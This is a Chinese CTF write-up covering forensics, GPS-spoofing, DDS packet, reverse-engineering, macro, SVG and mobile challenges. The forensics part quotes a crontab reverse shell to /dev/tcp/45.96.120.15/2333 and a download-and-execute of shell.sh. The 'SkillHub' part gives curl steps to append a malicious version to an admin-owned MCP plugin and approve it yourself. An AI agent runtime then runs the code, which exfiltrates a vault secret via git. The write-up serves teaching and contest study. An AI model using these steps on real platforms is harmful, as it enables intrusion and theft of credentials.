2026数信杯个人区域赛wp(下):应急响应/无人机/Reverse/Misc/移动安全/OpposeAI"

admin 2026-10-24 11:57:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

2026数信杯个人区域赛wp(下):应急响应 / 无人机 / Reverse / Misc / 移动安全 / OpposeAI

原创

ljnljn
ljnljn

ljnljn学习之路

2026年10月19日 00:00
河北

去阅读

Linux服务器入侵取证

tomcat-collector-v2 是 SEED,实际 AES key 为 0dbe221e1d2cc130c5cbd3c01bb09a69。当前 jar 接受的口令令牌是 29f645d42789;它虽可通过同一异或算法解码为 update,但程序没有在认证路径对它执行该解码。

问题 还原值 证据
1 攻击 IP 192.168.140.1 Apache 访问记录,以及 Tomcat 日志中的后门调用源地址
2 WebShell 文件及密码 hack520.jsp 、pass webapps/hack520/hack520.jsp 第 9 行 _password = \"pass\"
3 反连 IP 45.96.120.15 /etc/crontab 中 /dev/tcp/45.96.120.15/2333,以及 /tmp/...
4 实际口令及明文命令 29f645d42789:id 当前 update.jar 的认证逻辑;本地受控调用验证
5 加密 key 0dbe221e1d2cc130c5cbd3c01bb09a69 伪装库中 ConfigCipher.getKey() 的两轮 RC4 派生
6 日志中的 flag 内容 elf_backdoor_stream_xor 两层解密得到的 /tmp/.flag6.txt 内容

取证与攻击链

通过用户提供的 SSH 入口读取证据,保存至 evidence/,没有运行远端恶意 jar 或 ELF,也没有修改远端任务和文件。只分析本次从远端取得的材料。

Apache 日志有攻击来源 192.168.140.1 的上传及文件包含请求。Tomcat 日志有管理后台访问及 /hack520/hack520.jsp 调用记录,文件本身仍在,密码在源码中可读。Tomcat 配置保留 tomcat/tomcat 管理账号;Manager 日志包含 /hack520 应用启停记录。这些支持管理界面和部署应用相关的入侵路径,但现有访问日志没有完整上传请求体,不能仅凭这些材料断定所有上传操作的内容。

/root/.bash_history 保留从 45.96.120.15 下载 shell.sh 至 /tmp/... 并执行的操作;该脚本写入每分钟反连 45.96.120.15:2333 的计划任务。/etc/rc.local 也保留相同下载来源。

update.jar 提供 org.apache.catalina.filters.UpdateFilter,把 URL 参数解码后交给 /bin/sh -c。commons-codec-1.10.jar 实际只有 ConfigCipher、Collector 两个业务类,采集信息、调用 /usr/local/bin/updater,最后把加密结果追加到 /var/log/tomcat-collect.log。ELF 再采集临时 flag 文件及系统信息,输出第二层密文并删除临时文件。

逆向与解密

1. 当前后门与旧备份

必须以当前 update.jar 为准,备份 update.jar.bak 是明文参数版本。当前版本常量:

K        = 5c8f33ae77c12d
PASS_ENC = 29f645d42789
crypt(x)[i] = x[i] XOR K[i % 7] XOR ((9*i) & 255)

Tomcat 访问日志第 135–137 行保留 update=29f645d42789:35e2。异或还原前后两段可得到 update、id,但认证路径只对前半段执行 unhex() 并与 PASS_ENC 比较,不调用 crypt()。因此 update 不是当前 jar 实际接受的口令,实际口令令牌为 29f645d42789。

在本地 WSL 中使用 CheckBackdoor.java、当前 jar 和 Servlet API 构造请求代理,唯一测试命令为已确认的 id:

input=update:35e2 accepted=false
input=29f645d42789:35e2 accepted=true
[UPDATE OUTPUT]
uid=0(root) gid=0(root) groups=0(root)
[END]

日志见 backdoor-auth-verification.txt。这个实验确认实际口令和命令行为,不能代替比赛平台对整串答案的校验。

2. 伪装 jar 的 AES 加密

rc4Round 执行标准 RC4 KSA,然后输出 16 字节 PRGA 密钥流;没有将种子本身与流异或。每一轮重新初始化状态。

seed   = UTF8(\"tomcat-collector-v2\")
round1 = RC4(seed).keystream(16)
       = 7af41d45fbc87f3427626a518bc10bff
key    = RC4(round1).keystream(16)
       = 0dbe221e1d2cc130c5cbd3c01bb09a69

ConfigCipher.encrypt 使用 AES/ECB/PKCS5Padding,对 AES 等价于 16 字节 PKCS#7 填充。TCC1: 后面是十六进制密文。解密成功后得到 12084 字节采集记录;脚本验证重新填充、加密可逐字节还原原密文。

3. UPX ELF 的流异或

/usr/local/bin/updater 是 UPX 4.2.4 加壳的 x86-64 ELF。本地使用 upx -d 解包为 updater.unpacked,没有执行恶意程序。反汇编中:

  • 0x401552 是 main;传入的第一个参数经十六进制解码,必须得到 16 字节 key。
  • 0x40105e 是加密函数,状态初值为 0x2f。
  • 0x401828 附近删除 /tmp/.flag6.txt,所以该文件现已不在文件系统不影响从日志恢复。

其逆变换为:

state = 0x2f
for i, c in enumerate(ciphertext):
    state = (state + key[i % 16] + 0x11) & 255
    plaintext[i] = c ^ state ^ ((19 * i) & 255)

对第一层明文中 UPD01: 后的 4703 字节数据执行逆变换,开头为:

=== updater collect ===
--- /tmp/.flag6.txt ---
flag6: elf_backdoor_stream_xor--- uname -a ---

flag6 的值以紧随其后的节标题为界。原临时文件没有换行,因此和下一节标题相连。

解密出的进程列表还包含一次删除旧日志、重建临时 flag、重启 Tomcat 的命令。这是采集时的进程快照,不能据此断言当前采集日志也不存在,更不能据此断言前五问的证据全部被删除。采集明文中部分 Apache 日期仍是 2023,当前日志被改为 2026;时间线存在整理痕迹,日期不宜作为唯一归因依据。

复现

环境:Python 3、PyCryptodome;ELF 静态分析使用 UPX 4.2.4 和 GNU objdump,Java 使用题目环境 JDK 8 的 javap。

python reinvestigate/decrypt.py

完整脚本会解密已保存的远端日志、保存两层明文,从日志、WebShell、计划任务取出答案并输出最终拼接。collect-01.txt 是第一层明文,updater-01-42.txt 是内层明文(具体行号后缀由脚本生成)。全部本地证据的 SHA-256 见 evidence-sha256.json。

flag{192.168.140.1_hack520.jsp:pass_45.96.120.15_29f645d42789:id_0dbe221e1d2cc130c5cbd3c01bb09a69_elf_backdoor_stream_xor}

无人机安全

天空在撒谎

材料字符串为:

486037000|GPS|GALILEO|75.0|37

按 UTF-8 编码计算 SHA-256,取小写十六进制摘要的前 32 个字符,得到:

flag{b347b01858cfa126cf7866ba0a413231}

字段判定

字段 结果 含义
onset_itow 486037000 首个受影响历元的 iTOW
affected_constellation GPS 出现一致伪距异常的星座
reference_constellation GALILEO 未出现同类异常的参考星座
spoof_step_m 75.0 每历元额外增加的伪距偏置
epoch_index 37 从 0 开始编号 ,即第 38 个历元

如何定位欺骗起点

逐帧解析附件,共得到 120 个校验通过的 UBX 报文,其中 NAV-PVT 和 RXM-RAWX 各 60 个,对应 60 个历元。iTOW 从 486000000 开始,每次增加 1000。

原始观测中存在两个星座:gnssId=0 和 gnssId=2。按 UBX 定义,它们分别对应 GPS 和 Galileo,因此材料字符串使用 GPS、GALILEO。u-blox[1]

关键不是直接寻找经纬度漂移,而是比较伪距实际增量与多普勒预测增量是否一致。UBX 的 prMes 单位是米,doMes 单位是 Hz,且多普勒正号表示卫星正在接近,因此预测的伪距变化使用负号。u-blox[2]

对同一颗卫星的相邻历元计算:

实际伪距增量抵消多普勒预测增量

本附件的信号对应 GPS L1 C/A 与 Galileo E1 C;两者所在载频为 1575.42 MHz,使用波长:

米

信号编号与载频关系可由 UBX 信号表和信号文档核对。u-blox[3]

对每个星座的 6 颗卫星分别取残差中位数,起点附近的结果如下,单位为米:

零基历元 iTOW GPS 残差中位数 GALILEO 残差中位数
35 486035000 -0.002821 -0.003006
36 486036000 -0.003114 -0.002927
37 486037000 74.997014 -0.003122
38 486038000 74.997049 -0.002896
39 486039000 74.996879 -0.003029

因此,首个异常历元是 37,对应 iTOW 486037000。从这一历元开始,GPS 的伪距每个历元都比多普勒预测值额外增加约 75 米,而 GALILEO 仍然接近零。

用未受影响星座验证

在首次异常区间,即历元 36 → 37:

星座与卫星 实际伪距增量 多普勒预测增量 两者之差
GPS,SV 3 +57.026086 -18.000000 +75.026086
GALILEO,SV 2 -1.765001 -1.800000 +0.034999

这不是只出现在一颗卫星上的异常:起点处 6 颗 GPS 卫星的残差全部落在 74.956759~75.041552 米之间;与此同时,6 颗 GALILEO 卫星的残差仅为 -0.039032~0.035731 米。检查整个文件,GALILEO 的逐星残差始终保持在约 ±0.0442 米以内。

用 GALILEO 的中位数作为对照,起点处的星座间残差差值为:

米

固定保留一位小数,即 75.0。

附件中的 fixType 始终为 3、gnssFixOK 始终置位;按协议,这表示接收机持续报告有效的 3D Fix,但这些状态本身不等于观测不存在欺骗。u-blox[4] 此外,本文件中的 GPS 伪距与载波相位被同步带偏,仅检查二者的一致性也会漏掉异常;真正暴露问题的是它们与多普勒之间的不一致。

Domain 42

最终 Flag 为:

flag{7461da3557d96d1773e21d06e0a47229}

对应的材料字符串是:

000003c2|105|7|-0.145|-0.5475|1605

1. 确定正确的参与者与 writer

对 domain42.pcap 的参与者发现报文进行解析,得到:

发现报文帧号 参与者名称 Domain ID GUID Prefix
1 payload-bench 7 01101234123456789abcdef0
2 maintenance-replay 42 0110deadc0de001337420042
3 fc-primary 42 0110aabbccddeeff10203040

按题目中的控制端角色,选择 Domain 42 的 fc-primary,其源 IP 为 10.13.0.3,命令 writer EntityId 为 000003c2。这里需要结合 GUID Prefix 区分参与者,不能仅凭端口或者 CRC 是否通过来筛选;GUID Prefix 是 RTPS 中标识参与者的字段。Fast DDS Docs[5]

2. 最后一条有效命令是序号 105,不是最后到达的 104

可信 writer 的命令记录如下:

抓包帧号 Writer Sequence CRC32 校验结果
40 100 7cb8b015 通过
41 101 2fff46a3 通过
42 102 6bd26c9f 通过
44 104 3b8b4de8 通过
45 105 cc8ee049 通过
46 104 3b8b4de8 通过,但与第 44 帧重复

第 46 帧虽然到达更晚,但其 RTPS 内容与第 44 帧完全相同,是旧序号 104 的重复包,不是一条更新的命令。

第 47 帧为同一 writer 的 HEARTBEAT,解析出的序号范围为 100~105,进一步印证最新序号为 105。HEARTBEAT 中的序号范围用于表明 writer 的样本序列状态,而不是按照抓包到达顺序重新编号。RTI Community[6]

3. 解码第 45 帧的 CDR 载荷并验证 CRC32

载荷封装头为 00 01 00 00,其表示标识 0x0001 对应小端 CDR_LE。Fast DDS Docs[7]

去掉四字节封装头后,应用数据为:

6900000007000000e17a14bef6280cbf4506000049e08ecc

按小端布局解码:

字段 原始字节 解码结果/提交格式
应用序号 69 00 00 00 105 ,与 RTPS writer sequence 一致
mode 07 00 00 00 7
pan e1 7a 14 be 约 -0.1449999958 → -0.145
tilt f6 28 0c bf 约 -0.5475000143 → -0.5475
duration 45 06 00 00 1605
CRC32 49 e0 8e cc 0xcc8ee049

CRC32 的计算范围为应用数据前 20 字节,不包含 CDR 封装头,也不包含末尾 CRC 字段:

6900000007000000e17a14bef6280cbf45060000

计算结果与载荷中存储的值一致:

计算 CRC32:0xcc8ee049
存储 CRC32:0xcc8ee049

我还用独立的逐位 CRC32 实现交叉验证,结果相同。

4. 计算最终摘要

对材料字符串的 UTF-8 字节计算 SHA-256,不加入换行:

000003c2|105|7|-0.145|-0.5475|1605

完整摘要为:

7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf

取前 32 个小写十六进制字符,得到:

flag{7461da3557d96d1773e21d06e0a47229}

Reverse

八证词

恢复出的 Flag 是:

flag{utyzn4pgv6bvlilpasoq3o5s}

长度为 30 字节,已验证正确输入得到:

ok

验证时加载了原 EXE 的机器码并执行原主函数,仅适配 Windows 系统接口,没有修改校验逻辑或预期结果。正确输入返回码为 0;将首字母改成大写,或者删除最后一个字符,都会输出 ignored,返回码为 1。

解题关键

程序中内嵌了以 WIT8RS01 开头的数据,包含八个 worker,每个 worker 都有自己的操作码置换表、滚动解码密钥和 177 条虚拟机指令。

解码后,八份“证词”实际对应 GF(256) 上的三次多项式约束。对每一列,从八个取值中寻找至少六个一致的取值,就能纠正两个受损值,恢复预处理后的 32 字节:

12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be

随后逆向四个独立 8 字节块的差分变换、10 轮 Feistel 变换和初始异或掩码,得到:

flag{utyzn4pgv6bvlilpasoq3o5s}\\x00\\x00

最后两个 \\x00 是内部填充,不要输入。

折叠端口

已解出,程序中填写:

Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1

Serial 是 64 个大写十六进制字符,不要加入空格。

验证结果

我将恢复的 Serial 交给原程序的解析函数,再通过原始运算函数执行全部 320 个单元,最终得到:

00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000

程序在 0x140003906 附近将最终结果与 32 字节全零数据比较,相等即设置成功标志。上述结果满足这一条件。

此外,独立 Python 实现与原始机器码的 320 组派生参数、320 个网络单元,以及 1280 次轮函数计算全部一致。验证使用的是原始核心函数,没有启动 Windows 图形界面。

核心解法

程序将 Serial 解析为 8 个小端 32 位整数,经过 80 层、每层 4 个单元的变换。

单元函数 0x140005A80 实际上是 Feistel 结构:

L_next = R
R_next = L XOR F(Username, unit_id, R)

因此可以直接逆推:

R = L_next
L = R_next XOR F(Username, unit_id, L_next)

轮函数虽然包含 SHA-256 参数派生、S 盒、乘法、循环移位和字节重排,但不需要求轮函数自身的逆函数,也不需要暴力破解。从最终的 8 个零出发,按单元编号 319 → 0 逆序恢复,就得到上面的 Serial。

复现脚本

solve\_foldport.py · FoldPort\_分析记录.md

脚本仅使用 Python 标准库,直接运行:

python solve_foldport.py

会输出正确 Serial 和 Mathematical verification: PASS。

Misc

宏安全审计

真正的 Flag 是:

flag{what_runs_is_not_what_you_read}

已完成纯静态恢复:没有启用宏,没有执行附件中的 VBA 或缓存字节码。恢复结果通过了顺序 CRC16、密文 CRC32 校验,并能反向编码回全部原始密文字节。

1. 可见 VBA 中的 Flag 是诱饵

解压 xl/vbaProject.bin,解析 OLE 结构后,在 VBA/Module1 流的 0x3BB 处找到压缩源码。源码中包含:

reportToken = \"ZmxhZ3t2YmFfc291cmNlX2lzX3RydXN0ZWR9\"
MsgBox \"Audit passed: \" & DecodeAuditToken(reportToken)

这段 Base64 解码得到:

flag{vba_source_is_trusted}

但对应函数的注释明确指出:

Historical compatibility stub. The source-side result is an audit decoy.

源码最后还写明:

Source-order 0,1,2,3,4 is only a compatibility lie.

因此,上述 Flag 和隐藏工作表给出的 0,1,2,3,4 顺序都不能直接采用。完整内容见Module1\_source.txt。

这里需要区分可见源码和缓存证据:VBA 源码与编译后的 p-code 可以分别存储,单看源码不足以判断缓存中的内容。GitHub[8]

2. 从五个位置取出密文片段

附件将数据分散存放,并使用不同编码:

槽编号 所在位置 提取方式 得到的字节(十六进制)
0 docProps/core.xml 的 AUD0 注释 Base64 解码 c5394c21b77dd5
1 xl/worksheets/sheet1.xml 的 AUD1 注释 十六进制解码 1b23ce79c8c66f
2 xl/workbook.xml 的 AUD2 注释 逗号分隔的十进制字节 8d5bee1e692141
3 xl/vbaProject.bin 尾部的 CTFSLOT3 标记后读取两字节大端长度及载荷 bc5792bede1239ec
4 xl/embeddings/vbaCache.bin 的末尾槽 两字节大端长度及载荷 c07c99b44ef969

其中,CTFSLOT3 标记位于 vbaProject.bin 内偏移 0x4201,对应载荷长度为 8 字节。这些提取值已保存在evidence.json中。

3. 静态恢复真正的拼接顺序和初始状态

vbaCache.bin 是一个 64 字节的自定义 VBCS 结构化记录,包含:

版本:          1
顺序 CRC16:    0x75E8
密文 CRC32:    0x473D22E8
栈式记录长度:  42 字节
末尾槽长度:    7 字节

它不是 Excel 原生 VBA p-code。根据源码中的操作码枚举,可以将其中五组固定表达式直接化简,不需要运行字节码:

0xA4 XOR 0xA7 = 3
0x38 XOR 0x39 = 1
0xD6 XOR 0xD2 = 4
0x6C XOR 0x6C = 0
0x57 XOR 0x55 = 2

所以真正的拼接顺序为:

3 → 1 → 4 → 0 → 2

后面的两条累加器记录给出初始状态。这里的 32 位操作数按小端读取,与文件头的校验值和长度字段不同:

c2 b7 31 8f → 0x8F31B7C2
37 ce 1a e2 → 0xE21ACE37

初始状态 = 0x8F31B7C2 XOR 0xE21ACE37
         = 0x6D2B79F5

按上述顺序拼接后,得到 36 字节密文:

bc5792bede1239ec1b23ce79c8c66fc07c99b44ef969c5394c21b77dd58d5bee1e692141

校验结果如下,均与记录头一致:

校验对象 计算结果
顺序原始字节 03 01 04 00 02,CRC-16/CCITT-FALSE 0x75E8
拼接后的 36 字节密文,CRC32 0x473D22E8

反过来,诱导顺序 0,1,2,3,4 的两个校验结果分别为 0x1C0F 和 0x1F1257EA,均不匹配。详细数值和字节轨迹见静态分析报告.md。

4. 解码与反向验证

从 state = 0x6D2B79F5 开始,每处理一个密文字节,先推进一次状态,再进行循环右移和异或:

def ror8(value, count):
    return ((value >> count) | (value << (8 - count))) & 0xFF

state = 0x6D2B79F5
plaintext = bytearray()

for value in ciphertext:
    state = (state ^ (state << 13)) & 0xFFFFFFFF
    state = (state ^ (state >> 17)) & 0xFFFFFFFF
    state = (state ^ (state << 5)) & 0xFFFFFFFF

    count = (state >> 8) & 7
    plaintext.append(ror8(value, count) ^ (state & 0xFF))

所得明文就是开头的 Flag。将明文按相反步骤——先异或状态低字节,再循环左移——重新编码后,36 个字节全部与原密文一致。

Vector Secrets

恢复出的 Flag 是:

FLAG{XOR_SHAPES_REVEAL_FLAG}

恢复依据

关键不在隐藏文本,而在于:复原两组矩形的坐标,再对它们做几何异或。

1. 找到被海报覆盖的几何数据

SVG 中,frame_83 包含 232 组 <use> 引用,分别指向 asset_000 至 asset_231。每组都有平移、矩阵变换和对应的 clipPath。

后绘制的 poster 首先放置了一个覆盖整个画布的不透明背景矩形,因此直接查看海报看不到这些几何数据。

2. 先裁剪,再还原全局坐标

对每个被引用的矩形,先与对应裁剪框求交,再应用其父级变换。对于:

<g transform=\"translate(tx ty)\">
  <g transform=\"matrix(a b c d e f)\">

局部坐标到全局坐标的关系为:

计算时需要变换矩形的四个角,再重新确定边界,不能只变换左上角,否则遇到旋转、镜像会发生位置偏移。

232 个符号中共有 1,852 个矩形;裁剪排除了 464 个,剩下 1,388 个。它们变换后全部仍为 5×5 方块,落在起点为 (90,405)、步长为 5 的 168 列 × 7 行网格上。

3. 对两组坐标集合做 XOR

根据引用顺序和填色,可以分成两组:

集合 符号范围 填色 不重复方块数
A asset_000 ~asset_114 #16263a 、#1b344d 689
B asset_115 ~asset_231 #24496b 、#2d5d87 699

两组各自内部没有重复坐标,但两组之间有 494 个重合位置。保留只出现在其中一组的位置,即计算对称差:

得到:

这 400 个方块形成了规则字形;直接取并集则只会得到杂乱的点阵。

4. 按几何网格拆分字符

异或结果中,每 6 列为一组:前 5 列构成字形,第 6 列全部为空。因此恰好得到 28 个 5×7 字符。

例如,第一个字符的占用矩阵为:

11111
10000
11110
10000
10000
10000
10000

对应 F。从左至右逐组读取,得到:

F L A G { X O R _ S H A P E S _ R E V E A L _ F L A G }

移动安全

eSIM迁移审计

恢复出的审计令牌是:

19d2cf987a3e049e5c5082d7c27a219d

这与上一步保存的令牌及成功验证记录一致,nativeProcessInput 的返回值为 1。 esim\_audit\_token verification

验证结果

保存的 native 验证记录包含三组对照:

测试条件 nativeProcessInput 返回值 结果
正确令牌+完整记录 1 通过
将令牌中的 19d2… 改为 19d3… 0 失败
正确令牌,但破坏记录 0 失败

这三组结果说明,保存的成功结果同时依赖正确令牌和完整记录,而不是任意输入都能通过。 verification verification verification

APK 中应如何输入

这次重新检查了 classes.dex,确认审计按钮的逻辑是:

检查输入没有首尾空白,且已经是小写
    ↓
hexDecode:要求恰好 32 个十六进制字符,解码为 16 字节
    ↓
读取 incident 记录,并完成 nativeUnlock
    ↓
nativeProcessInput(输入字节, incident记录)
    ↓
返回 1 显示 “Correct”,否则显示 “Wrong”

OpposeAI

SkillHub

漏洞不在某个注入点,而在审计结论与运行时信任条件之间的缺口:安全扫描器 9 个引擎里 7 个 根本不存在(executable not found),只剩 manifest + inventory 两个只做\"打包清单\"级别的检查, 永远给 PASS;而内部 Agent 运行时装载 MCP 能力只看三件事——publisher_id == system_admin、 资源级 moderation_status == APPROVED、目标版本 version_moderation_status == APPROVED。

于是:以审核员身份,向官方 system_admin 名下的 MCP 资产追加一个自己写的版本(资产归属不变、 代码全换),自己给自己过审,运行时就会以 agentrt 身份拉起我们的代码。载荷读走保险箱里的 flag, 写进运行时与平台共享的内部 git 库并 push,平台下一次 internal-skill-sync 把它当普通 Skill 导入, flag 就直接出现在平台上。


1. 报告是空的:安全扫描器形同虚设

GET /api/v1/security-audit/reports//<version>:

\"engine_statuses\": {\"osv\":\"FAILED\",\"sbom\":\"FAILED\",\"yara\":\"FAILED\",\"trivy\":\"FAILED\",
                    \"clamav\":\"FAILED\",\"gitleaks\":\"FAILED\",\"manifest\":\"SUCCEEDED\",
                    \"inventory\":\"SUCCEEDED\",\"skillspector\":\"FAILED\"},
\"engine_details\": {\"osv\":\"osv-scanner executable not found\", \"trivy\":\"trivy executable not found\", ...}

9 个引擎 7 个因为可执行文件不存在直接 FAILED,真正跑起来的只有:

引擎 实际做了什么
manifest 极弱的模式匹配(本次只报了一条非阻断的 PY-DYNAMIC-EXEC)
inventory 列出 ZIP 里有哪些文件、文件哈希、内嵌 URL

也就是说,\"通过安全审计\"的输入里根本不包含文件内容——报告只覆盖了\"包里有什么文件\"。 这正是题面里\"没有人会去问那份报告到底看了什么\"的实体。

初始 1.0.0 版本、以及我们后来的载荷版本,verdict 要么 PASS 要么 REVIEW,从不 BLOCK, 过审毫无阻力。

2. 从 agent-runtime-guide 读出装载契约

平台公开列表里就有一份 agent-runtime-guide(system_admin 发布),把内部约定写得清清楚楚:

SkillHub(平台,人工审核 + 安全审计)   │  审核通过
▼内部能力仓库 agent-skill-hub ──pull──▶ 内部 Agent 运行时
▲                                      │   └──── SkillHub Bot 机器人写回 ◀──── 平台 Git 导出任务

装载条件(三个都要满足):

条件 取值
来源 publisher_id == system_admin
资源状态 moderation_status == APPROVED
版本状态 version_moderation_status == APPROVED (必须是该版本自身过审)

运行环境:运行时以 agentrt(uid 1001) 运行,能力进程与运行时同身份,可读运行时保险箱 $SKILLHUB_AGENT_VAULT(默认 /srv/agent/vault,存放 Agent 侧凭据面,0400 agentrt) 和内部能力仓库工作副本 /srv/agent/repo。运行时每 15s 轮询一次平台,同一个 (asset_id, version) 只装载一次。

注意详情接口用 PATCH 而不是 GET(GET 返回 405)——这是前端拉取资产详情的方式。

3. 把自己的代码挂到官方资产上

POST /api/v1/plugins(multipart + X-Checksum-SHA256)。直接发新包 publisher_id 只能是自己, 运行时不会装载。关键点:带上 plugin_id 参数,服务端按\"包内 plugin.yaml 的 name == 目标资产名\" 校验,就把新版本追加到别人的资产上——资产归属仍是 system_admin,代码却是攻击者的:

curl -X POST \"$T/api/v1/plugins\" \\
  -H \"Authorization: Bearer $TOK\" -H \"X-Checksum-SHA256: $SHA\" \\
  -F \"[email protected]\" \\
  -F \"plugin_id=87addcb533d8410cba47aed508813b9a\" \\
  -F \"expected_plugin_type=mcp-stdio\"
# -> {\"plugin_id\":\"87addcb533d8410cba47aed508813b9a\", ...}
#    storage_url: plugins/<我>/87addcb.../9.0.19990/...   ← 路径里是我的 id,资产归属却是 system_admin

包的硬性要求(踩坑记录):

  • ZIP 必须有恰好一层顶层目录,plugin.yaml 在第一层里;缺 README.md 会被 invalid_plugin_structure 拒掉。
  • .mcp.json 的校验挡住的是命令形式(不能 sh -c、不能绝对路径),不是内容: 用 python3 src/server.py 这个完全合规的形态,把载荷放进脚本里即可。

4. 补齐装载三条件:自己审自己

新版本发布后资源级状态变 PENDING。用审核员身份:

curl -X POST \"$T/api/v1/plugins/$ASSET/moderation\" \\
  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\
  -d '{\"action\":\"approve\",\"version\":\"9.0.19990\"}'

(扫描 job 落库前会 409,重试几次即可;也可以用返回里的 security_report_id 带上。) 版本过审后,三条件同时满足:publisher_id=system_admin + 资源 APPROVED + 版本 APPROVED。

5. 触发装载,把 flag 带出来

curl -X POST \"$T/api/v1/plugins/git-export-jobs/run-once\"
# 包推到 /srv/git/agent-skill-hub.gitcurl -X POST \"$T/api/v1/plugins/internal-skill-sync\" -d '{\"pull\":true}'

运行时 15s 内轮询到新版本,以 agentrt 身份拉起 python3 src/server.py。载荷干三件事:

  1. 读 $SKILLHUB_AGENT_VAULT/flag(与运行时同身份,读得到);
  2. 写进共享仓库 skills/exfil-marker/SKILL.md,git add/commit/push 回共享裸库;
  3. 按 MCP stdio 约定把结果吐到 stdout(对运行时保持\"正常 MCP 服务\"的样子)。

之后平台的下一次 internal-skill-sync 拉取共享仓库,把 exfil-marker 当普通 Skill 导入, flag 就出现在资产的 short_desc / detail_desc 里:

asset: fb45d9dd96c44531a4b410c355847a45  name=exfil-marker  publisher=system_adminshort_desc = flag{2a2e13c34bccc3747a95c22889145db5}

引用链接

[1]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf

[2]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf

[3]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf

[4]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf

[5]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/latest/fastdds/discovery/discovery\_server.html?utm\_source=chatgpt.com

[6]RTI Community: https://community.rti.com/forum-topic/connext-logs?utm\_source=chatgpt.com

[7]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/v2.6.12/fastdds/api\_reference/rtps/common/SerializedPayload/defines.html?utm\_source=chatgpt.com

[8]GitHub: https://github.com/bontchev/pcodedmp?utm\_source=chatgpt.com

2026数信杯个人区域赛wp(下):应急响应/无人机/Reverse/Misc/移动安全/OpposeAI" 网络安全文章

2026数信杯个人区域赛wp(下):应急响应/无人机/Reverse/Misc/移动安全/OpposeAI"

本文为2026数信杯个人区域赛Writeup,涵盖应急响应、无人机安全、逆向分析等方向。应急响应部分详细分析了Linux服务器入侵取证过程,还原攻击链并解密获取flag;无人机部分通过伪距残差分析检测GPS欺骗;另有RTPS协议分析等题目。文章提供了完整的技术细节与解题思路,对CTF参赛者具有较高参考价值。
深度解析汽车网络安全TARA:为什么“安全左移”离不开它?" 网络安全文章

深度解析汽车网络安全TARA:为什么“安全左移”离不开它?"

本文深度解析汽车网络安全TARA方法,指出智能网联汽车代码量大、攻击面广,超六成安全漏洞源于开发阶段设计缺陷。TARA作为ISO/SAE21434核心方法,通过七步流程实现安全左移,在研发设计阶段识别风险并输出网络安全目标与需求,指导正向开发。建议OEM和供应商将TARA内化到研发流程,从合规驱动转向风险驱动。
评论:0   参与:  0